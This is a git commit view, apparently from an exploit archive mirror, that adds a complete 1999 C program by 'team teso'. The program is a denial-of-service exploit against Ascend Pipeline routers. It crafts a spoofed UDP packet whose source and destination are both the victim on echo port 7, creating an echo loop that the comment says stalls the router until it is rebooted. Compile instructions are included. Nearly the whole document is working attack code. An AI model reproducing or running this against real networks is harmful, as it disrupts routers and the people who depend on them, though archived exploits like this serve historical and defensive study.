summaryrefslogtreecommitdiff
path: root/exploits/7350ascend
diff options
context:
space:
mode:
authorSkyperTHC2026-03-03 06:28:55 +0000
committerSkyperTHC2026-03-03 06:28:55 +0000
commit5d3573ef7a109ee70416fe94db098fe6a769a798 (patch)
treedc2d5b294c9db8ab2db7433511f94e1c4bb8b698 /exploits/7350ascend
parentc6c59dc73cc4586357f93ab38ecf459e98675cc5 (diff)
packetstorm sync
Diffstat (limited to 'exploits/7350ascend')
-rw-r--r--exploits/7350ascend/7350ascend-foo.c89
1 files changed, 89 insertions, 0 deletions
diff --git a/exploits/7350ascend/7350ascend-foo.c b/exploits/7350ascend/7350ascend-foo.c
new file mode 100644
index 0000000..8980997
--- /dev/null
+++ b/exploits/7350ascend/7350ascend-foo.c
@@ -0,0 +1,89 @@
1/* ascend foo denial of service exploit
2 * 1999/09/25
3 *
4 * basically just another lame echo/echo link, but has nice results on ascend,
5 * you can increase the lag in steps of 2ms by sending one packet, after some
6 * few hundret ms lag you overflow the internal packet buffer and the whole
7 * connection stalls, the router has to be rebooted.
8 *
9 * by scut / team teso [http://teso.scene.at/]
10 *
11 * compile with: gcc -o ascend-foo ascend-foo.c -Wall -lnet -DLIBNET_LIL_ENDIAN
12 * works fine against Ascend Pipeline * modells, haven't tried against others
13 */
14
15#include <stdio.h>
16#include <libnet.h>
17
18int
19main (int argc, char **argv)
20{
21 int sock, c;
22 u_long src_ip;
23 u_char *buf;
24 u_char *qbuf;
25 int qbuf_s = 0;
26
27 printf ("ascend-foo, udp echo dos attack\nby scut / team teso\n\n");
28 if (argc < 2) {
29 printf ("usage: %s <srcip> [packetsize]\n\n", argv[0]);
30 exit (EXIT_FAILURE);
31 } else if (argc == 2) {
32 qbuf_s = 73;
33 } else {
34 qbuf_s = atoi (argv[2]);
35 }
36 qbuf = malloc (qbuf_s);
37
38 src_ip = libnet_name_resolve (argv[1], 0);
39
40 if (src_ip == 0) {
41 printf ("invalid syntax\n");
42 exit (EXIT_FAILURE);
43 }
44
45 buf = calloc (1, (UDP_H + IP_H + qbuf_s));
46 if (buf == NULL) {
47 perror ("No memory for packet");
48 exit (EXIT_FAILURE);
49 }
50
51 libnet_seed_prand ();
52
53 sock = libnet_open_raw_sock(IPPROTO_RAW);
54 if (sock == -1) {
55 perror ("No socket");
56 exit (EXIT_FAILURE);
57 }
58
59 libnet_build_ip ( UDP_H + qbuf_s, /* content size */
60 0, /* tos */
61 0, /* id */
62 0, /* frag */
63 64, /* ttl */
64 IPPROTO_UDP, /* subprotocol */
65 src_ip, /* heh ;) */
66 src_ip,
67 NULL, /* payload already there */
68 0, /* same */
69 buf); /* build in packet buffer */
70
71 libnet_build_udp ( 7, /* source port */
72 7,
73 qbuf, /* content already there */
74 qbuf_s, /* same */
75 buf + IP_H); /* build after ip header */
76
77 libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + qbuf_s);
78
79 c = libnet_write_ip (sock, buf, UDP_H + IP_H + qbuf_s);
80 if (c < UDP_H + IP_H + qbuf_s) {
81 printf ("write_ip wrote too less bytes\n");
82 }
83 printf ("completed, wrote %d bytes to victim router\n", c);
84
85 free (buf);
86
87 return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
88}
89